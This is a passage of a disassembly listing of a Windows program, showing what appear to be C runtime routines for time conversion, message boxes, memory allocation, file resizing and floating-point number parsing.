		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_424B74
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B74:				; CODE XREF: sub_424B06+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424B7E:				; CODE XREF: sub_424B06+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424BBC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424B92
		mov	esi, dword_43B0EC[esi]
		jmp	short loc_424B98
; ---------------------------------------------------------------------------


loc_424B92:				; CODE XREF: sub_424B06+82j
		mov	esi, dword_43B120[esi]


loc_424B98:				; CODE XREF: sub_424B06+8Aj
		cmp	ecx, esi
		jle	short loc_424BBC
		sub	ecx, 7
		jmp	short loc_424BBC
; ---------------------------------------------------------------------------


loc_424BA1:				; CODE XREF: sub_424B06+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424BB2
		mov	ecx, dword_43B0E8[eax*4]
		jmp	short loc_424BB9
; ---------------------------------------------------------------------------


loc_424BB2:				; CODE XREF: sub_424B06+A1j
		mov	ecx, dword_43B11C[eax*4]


loc_424BB9:				; CODE XREF: sub_424B06+AAj
		add	ecx, [ebp+arg_18]


loc_424BBC:				; CODE XREF: sub_424B06+7Cj
					; sub_424B06+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424BED
		mov	eax, [ebp+arg_1C]
		mov	dword_43B0D4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43B0D0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43B0D8, eax
		jmp	short loc_424C42
; ---------------------------------------------------------------------------


loc_424BED:				; CODE XREF: sub_424B06+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43B0E4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43B040
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43B0E8, eax
		jns	short loc_424C25
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43B0E8, eax
		jmp	short loc_424C36
; ---------------------------------------------------------------------------


loc_424C25:				; CODE XREF: sub_424B06+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424C3C
		sub	eax, edx
		inc	ecx
		mov	dword_43B0E8, eax


loc_424C36:				; CODE XREF: sub_424B06+11Dj
		mov	dword_43B0E4, ecx


loc_424C3C:				; CODE XREF: sub_424B06+126j
		mov	dword_43B0E0, ebx


loc_424C42:				; CODE XREF: sub_424B06+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424B06	endp


; =============== S U B	R O U T	I N E =======================================



sub_424C46	proc near		; CODE XREF: ___:00422DA5p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424C57
		add	esp, 0Ch
		retn
sub_424C46	endp


; =============== S U B	R O U T	I N E =======================================



sub_424C57	proc near		; CODE XREF: sub_424C46+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DAC81[eax], cl
		jnz	short loc_424C84
		cmp	[esp+arg_4], 0
		jz	short loc_424C7D
		movzx	eax, word_43A68A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424C7F
; ---------------------------------------------------------------------------


loc_424C7D:				; CODE XREF: sub_424C57+16j
		xor	eax, eax


loc_424C7F:				; CODE XREF: sub_424C57+24j
		test	eax, eax
		jnz	short loc_424C84
		retn
; ---------------------------------------------------------------------------


loc_424C84:				; CODE XREF: sub_424C57+Fj
					; sub_424C57+2Aj
		push	1
		pop	eax
		retn
sub_424C57	endp


; =============== S U B	R O U T	I N E =======================================



sub_424C88	proc near		; CODE XREF: sub_4234D1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4D99FC, ebx
		push	esi
		push	edi
		jnz	short loc_424CD7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424D0D
		mov	esi, dword_4270CC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4D99FC, eax
		jz	short loc_424D0D
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4D9A00, eax
		call	esi
		mov	dword_4D9A04, eax


loc_424CD7:				; CODE XREF: sub_424C88+Bj
		mov	eax, dword_4D9A00
		test	eax, eax
		jz	short loc_424CF6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424CF6
		mov	eax, dword_4D9A04
		test	eax, eax
		jz	short loc_424CF6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424CF6:				; CODE XREF: sub_424C88+56j
					; sub_424C88+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4D99FC


loc_424D09:				; CODE XREF: sub_424C88+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424D0D:				; CODE XREF: sub_424C88+1Cj
					; sub_424C88+33j
		xor	eax, eax
		jmp	short loc_424D09
sub_424C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D11	proc near		; CODE XREF: sub_42383E+22p
					; sub_42383E+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_424D31
		test	esi, esi
		jnz	short loc_424D2B
		push	1
		pop	esi


loc_424D2B:				; CODE XREF: sub_424D11+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424D31:				; CODE XREF: sub_424D11+11j
					; sub_424D11+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424D62
		cmp	ebx, dword_43A67C
		ja	short loc_424D4D
		push	ebx
		call	sub_41E7CD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424D78


loc_424D4D:				; CODE XREF: sub_424D11+2Dj
		push	esi
		push	8
		push	dword_4DADA0
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424D84


loc_424D62:				; CODE XREF: sub_424D11+25j
		cmp	dword_4D9798, 0
		jz	short loc_424D84
		push	esi
		call	sub_41F247
		test	eax, eax
		pop	ecx
		jz	short loc_424D8A
		jmp	short loc_424D31
; ---------------------------------------------------------------------------


loc_424D78:				; CODE XREF: sub_424D11+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_41BD10
		add	esp, 0Ch


loc_424D84:				; CODE XREF: sub_424D11+4Fj
					; sub_424D11+58j
		mov	eax, edi


loc_424D86:				; CODE XREF: sub_424D11+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424D8A:				; CODE XREF: sub_424D11+63j
		xor	eax, eax
		jmp	short loc_424D86
sub_424D11	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4238E3


loc_424D8E:				; CODE XREF: sub_4238E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DAA40, esi
		jle	short loc_424DE1


loc_424D9D:				; CODE XREF: sub_4238E3+14FCj
		mov	eax, dword_4D9A30
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424DD8
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424DBC
		push	eax
		call	sub_41B9DB
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424DBC
		inc	edi


loc_424DBC:				; CODE XREF: sub_4238E3+14CAj
					; sub_4238E3+14D6j
		cmp	esi, 14h
		jl	short loc_424DD8
		mov	eax, dword_4D9A30
		push	dword ptr [eax+esi*4]
		call	sub_41BA31
		mov	eax, dword_4D9A30
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424DD8:				; CODE XREF: sub_4238E3+14C4j
					; sub_4238E3+14DCj
		inc	esi
		cmp	esi, dword_4DAA40
		jl	short loc_424D9D


loc_424DE1:				; CODE XREF: sub_4238E3+14B8j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4238E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DE6	proc near		; CODE XREF: sub_42393B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C2A0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DAB60
		jnb	loc_424F1B
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DAA60[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_424F1B
		push	1
		push	esi
		push	ebx
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_424F25
		push	2
		push	esi
		push	ebx
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_424F25
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424EC8
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BD10
		push	8000h
		push	ebx
		call	sub_425A20
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424E7C:				; CODE XREF: sub_424DE6+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424E87
		mov	eax, edi


loc_424E87:				; CODE XREF: sub_424DE6+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_422825
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424EA5
		sub	edi, eax
		test	edi, edi
		jle	short loc_424EBB
		jmp	short loc_424E7C
; ---------------------------------------------------------------------------


loc_424EA5:				; CODE XREF: sub_424DE6+B5j
		cmp	dword_4D9718, 5
		jnz	short loc_424EB8
		mov	dword_4D9714, 0Dh


loc_424EB8:				; CODE XREF: sub_424DE6+C6j
		or	esi, 0FFFFFFFFh


loc_424EBB:				; CODE XREF: sub_424DE6+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425A20
		pop	ecx
		pop	ecx
		jmp	short loc_424F08
; ---------------------------------------------------------------------------


loc_424EC8:				; CODE XREF: sub_424DE6+71j
		jge	short loc_424F08
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422633
		push	ebx
		call	sub_4237AA
		add	esp, 10h
		push	eax
		call	near ptr 25F0000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_424F08
		mov	dword_4D9714, 0Dh
		nop
		call	near ptr 26807F9h
		mov	dword_4D9718, eax


loc_424F08:				; CODE XREF: sub_424DE6+E0j
					; sub_424DE6:loc_424EC8j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422633
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_424F28
; ---------------------------------------------------------------------------


loc_424F1B:				; CODE XREF: sub_424DE6+1Aj
					; sub_424DE6+36j
		mov	dword_4D9714, 9


loc_424F25:				; CODE XREF: sub_424DE6+4Ej
					; sub_424DE6+63j
		or	eax, 0FFFFFFFFh


loc_424F28:				; CODE XREF: sub_424DE6+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424DE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F2C	proc near		; CODE XREF: sub_4240DF+2Bp
					; sub_4240DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_424F42
		cmp	ecx, esi
		jnb	short loc_424F45


loc_424F42:				; CODE XREF: sub_424F2C+10j
		push	1
		pop	eax


loc_424F45:				; CODE XREF: sub_424F2C+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_424F2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F4D	proc near		; CODE XREF: sub_425006+40p
					; sub_425006+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_424F2C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424F7F
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_424F2C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424F7F
		inc	dword ptr [esi+8]


loc_424F7F:				; CODE XREF: sub_424F4D+19j
					; sub_424F4D+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_424F2C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424F97
		inc	dword ptr [esi+8]


loc_424F97:				; CODE XREF: sub_424F4D+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_424F2C
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_424F4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FAB	proc near		; CODE XREF: sub_425006+30p
					; sub_425006+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_424FAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FD9	proc near		; CODE XREF: sub_42559E+1C8p
					; sub_425A96+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_424FD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425006	proc near		; CODE XREF: sub_4250CD+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42507A
		push	edi
		mov	[ebp+arg_8], eax


loc_42502D:				; CODE XREF: sub_425006+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_424FAB
		push	ebx
		call	sub_424FAB
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_424F4D
		push	ebx
		call	sub_424FAB
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_424F4D
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_42502D
		xor	edx, edx
		pop	edi


loc_42507A:				; CODE XREF: sub_425006+21j
					; sub_425006+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4250A7
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42507A
; ---------------------------------------------------------------------------


loc_4250A7:				; CODE XREF: sub_425006+77j
		mov	esi, 8000h


loc_4250AC:				; CODE XREF: sub_425006+B9j
		test	[ebx+8], esi
		jnz	short loc_4250C1
		push	ebx
		call	sub_424FAB
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4250AC
; ---------------------------------------------------------------------------


loc_4250C1:				; CODE XREF: sub_425006+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_425006	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250CD	proc near		; CODE XREF: sub_424428+17p
					; sub_424455+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_425108:				; CODE XREF: sub_4250CD+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_42511E
		cmp	cl, 9
		jz	short loc_42511E
		cmp	cl, 0Ah
		jz	short loc_42511E
		cmp	cl, 0Dh
		jnz	short loc_425121


loc_42511E:				; CODE XREF: sub_4250CD+40j
					; sub_4250CD+45j ...
		inc	edi
		jmp	short loc_425108
; ---------------------------------------------------------------------------


loc_425121:				; CODE XREF: sub_4250CD+4Fj
		push	4
		pop	esi


loc_425124:				; CODE XREF: sub_4250CD+AEj
					; sub_4250CD+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4253A7	; default
					; jumptable 00425130 case 10
		jmp	off_42556E[eax*4] ; switch jump


loc_425137:				; DATA XREF: ___:off_42556Eo
		cmp	bl, 31h		; jumptable 00425130 case 0
		jl	short loc_425148
		cmp	bl, 39h
		jg	short loc_425148


loc_425141:				; CODE XREF: sub_4250CD+C4j
					; sub_4250CD+118j
		push	3
		jmp	loc_425365
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250CD+6Dj
					; sub_4250CD+72j
		cmp	bl, byte_43A890
		jnz	short loc_425157


loc_425150:				; CODE XREF: sub_4250CD+124j
		push	5
		jmp	loc_42539D
; ---------------------------------------------------------------------------


loc_425157:				; CODE XREF: sub_4250CD+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_42517D
		dec	eax
		dec	eax
		jz	short loc_425171
		sub	eax, 3
		jnz	loc_425440
		jmp	loc_425200
; ---------------------------------------------------------------------------


loc_425171:				; CODE XREF: sub_4250CD+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425124
; ---------------------------------------------------------------------------


loc_42517D:				; CODE XREF: sub_4250CD+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425124
; ---------------------------------------------------------------------------


loc_425186:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	bl, 31h		; jumptable 00425130 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425193
		cmp	bl, 39h
		jle	short loc_425141


loc_425193:				; CODE XREF: sub_4250CD+BFj
		cmp	bl, byte_43A890
		jz	loc_42525B
		cmp	bl, 2Bh
		jz	short loc_4251D5
		cmp	bl, 2Dh
		jz	short loc_4251D5
		cmp	bl, 30h
		jz	short loc_425200


loc_4251AE:				; CODE XREF: sub_4250CD+207j
		cmp	bl, 43h
		jle	loc_425440
		cmp	bl, 45h
		jle	short loc_4251CE
		cmp	bl, 63h
		jle	loc_425440
		cmp	bl, 65h
		jg	loc_425440


loc_4251CE:				; CODE XREF: sub_4250CD+EDj
		push	6
		jmp	loc_42539D
; ---------------------------------------------------------------------------


loc_4251D5:				; CODE XREF: sub_4250CD+D5j
					; sub_4250CD+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_42539D
; ---------------------------------------------------------------------------


loc_4251DD:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	bl, 31h		; jumptable 00425130 case 2
		jl	short loc_4251EB
		cmp	bl, 39h
		jle	loc_425141


loc_4251EB:				; CODE XREF: sub_4250CD+113j
		cmp	bl, byte_43A890
		jz	loc_425150
		cmp	bl, 30h
		jnz	loc_4253B5


loc_425200:				; CODE XREF: sub_4250CD+9Fj
					; sub_4250CD+DFj
		mov	eax, edx
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_425207:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		mov	[ebp+var_10], edx ; jumptable 00425130 case 3


loc_42520A:				; CODE XREF: sub_4250CD+184j
		cmp	dword_43A88C, edx
		jle	short loc_425223
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425231
; ---------------------------------------------------------------------------


loc_425223:				; CODE XREF: sub_4250CD+143j
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425231:				; CODE XREF: sub_4250CD+154j
		test	eax, eax
		jz	short loc_425253
		cmp	[ebp+var_4], 19h
		jnb	short loc_42524B
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]


loc_425241:				; DATA XREF: ___:off_4384E0o
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_42524E
; ---------------------------------------------------------------------------


loc_42524B:				; CODE XREF: sub_4250CD+16Cj
		inc	[ebp+var_8]


loc_42524E:				; CODE XREF: sub_4250CD+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42520A
; ---------------------------------------------------------------------------


loc_425253:				; CODE XREF: sub_4250CD+166j
		cmp	bl, byte_43A890
		jnz	short loc_4252C2


loc_42525B:				; CODE XREF: sub_4250CD+CCj
		mov	eax, esi
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_425262:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	[ebp+var_4], 0	; jumptable 00425130 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42527B


loc_42526E:				; CODE XREF: sub_4250CD+1ACj
		cmp	bl, 30h
		jnz	short loc_42527B
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42526E
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4250CD+19Fj
					; sub_4250CD+1A4j ...
		cmp	dword_43A88C, edx
		jle	short loc_425294
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4252A2
; ---------------------------------------------------------------------------


loc_425294:				; CODE XREF: sub_4250CD+1B4j
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4252A2:				; CODE XREF: sub_4250CD+1C5j
		test	eax, eax
		jz	short loc_4252C2
		cmp	[ebp+var_4], 19h
		jnb	short loc_4252BD
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4252BD:				; CODE XREF: sub_4250CD+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42527B
; ---------------------------------------------------------------------------


loc_4252C2:				; CODE XREF: sub_4250CD+18Cj
					; sub_4250CD+1D7j
		cmp	bl, 2Bh
		jz	loc_4251D5
		cmp	bl, 2Dh
		jz	loc_4251D5
		jmp	loc_4251AE
; ---------------------------------------------------------------------------


loc_4252D9:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	dword_43A88C, edx ; jumptable 00425130 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4252F5
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425303
; ---------------------------------------------------------------------------


loc_4252F5:				; CODE XREF: sub_4250CD+215j
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425303:				; CODE XREF: sub_4250CD+226j
		test	eax, eax
		jz	loc_4253B5
		mov	eax, esi
		jmp	short loc_425366
; ---------------------------------------------------------------------------


loc_42530F:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		lea	ecx, [edi-2]	; jumptable 00425130 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42531F
		cmp	bl, 39h
		jle	short loc_425363


loc_42531F:				; CODE XREF: sub_4250CD+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_42539B
		dec	eax
		dec	eax
		jz	short loc_42538F
		sub	eax, 3
		jnz	loc_425443


loc_425334:				; CODE XREF: sub_4250CD+2A4j
		push	8
		jmp	short loc_42539D
; ---------------------------------------------------------------------------


loc_425338:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		mov	[ebp+var_20], edx ; jumptable 00425130 case 8


loc_42533B:				; CODE XREF: sub_4250CD+276j
		cmp	bl, 30h
		jnz	short loc_425345
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42533B
; ---------------------------------------------------------------------------


loc_425345:				; CODE XREF: sub_4250CD+271j
		cmp	bl, 31h
		jl	loc_425440
		cmp	bl, 39h
		jg	loc_425440
		jmp	short loc_425363
; ---------------------------------------------------------------------------


loc_425359:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	bl, 31h		; jumptable 00425130 case 7
		jl	short loc_42536C
		cmp	bl, 39h
		jg	short loc_42536C


loc_425363:				; CODE XREF: sub_4250CD+250j
					; sub_4250CD+28Aj
		push	9


loc_425365:				; CODE XREF: sub_4250CD+76j
		pop	eax


loc_425366:				; CODE XREF: sub_4250CD+240j
		dec	edi
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_42536C:				; CODE XREF: sub_4250CD+28Fj
					; sub_4250CD+294j
		cmp	bl, 30h
		jnz	short loc_4253B5
		jmp	short loc_425334
; ---------------------------------------------------------------------------


loc_425373:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	[ebp+arg_18], 0	; jumptable 00425130 case 11
		jz	short loc_4253A3
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_42539B
		dec	eax
		dec	eax
		jnz	loc_425443


loc_42538F:				; CODE XREF: sub_4250CD+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_42539B:				; CODE XREF: sub_4250CD+258j
					; sub_4250CD+2B8j
		push	7


loc_42539D:				; CODE XREF: sub_4250CD+85j
					; sub_4250CD+103j ...
		pop	eax
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_4253A3:				; CODE XREF: sub_4250CD+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4253A7:				; CODE XREF: sub_4250CD+5Dj
					; sub_4250CD+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425130 case 10
		jz	loc_425445
		jmp	loc_425124
